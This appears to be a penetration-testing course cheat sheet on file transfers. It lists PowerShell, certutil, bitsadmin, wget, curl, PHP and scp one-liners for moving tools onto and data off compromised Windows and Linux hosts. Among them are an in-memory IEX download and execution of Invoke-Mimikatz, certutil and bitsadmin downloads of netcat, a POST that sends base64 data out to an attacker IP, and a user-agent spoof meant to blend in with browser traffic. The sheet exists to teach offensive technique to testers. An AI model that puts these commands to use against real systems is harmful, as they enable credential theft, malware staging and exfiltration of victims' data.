

# FILE TRANSFERS

## CHEAT SHEET

Command	Description
<code>Invoke-WebRequest https://&lt;snip&gt;/PowerView.ps1 -OutFile PowerView.ps1</code>	Download a file with PowerShell
<code>IEX (New-Object Net.WebClient).DownloadString('https://&lt;snip&gt;/Invoke-Mimikatz.ps1')</code>	Execute a file in memory using PowerShell
<code>Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body \$b64</code>	Upload a file with PowerShell
<code>bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe</code>	Download a file using Bitsadmin
<code>certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe</code>	Download a file using Certutil
<code>wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh</code>	Download a file using Wget
<code>curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh</code>	Download a file using cURL

Command	Description
<code>php -r '\$file = file_get_contents("https://&lt;snip&gt;/LinEnum.sh"); file_put_contents("LinEnum.sh",\$file);'</code>	Download a file using PHP
<code>scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip</code>	Upload a file using SCP
<code>scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe</code>	Download a file using SCP
<code>Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"</code>	Invoke-WebRequest using a Chrome User Agent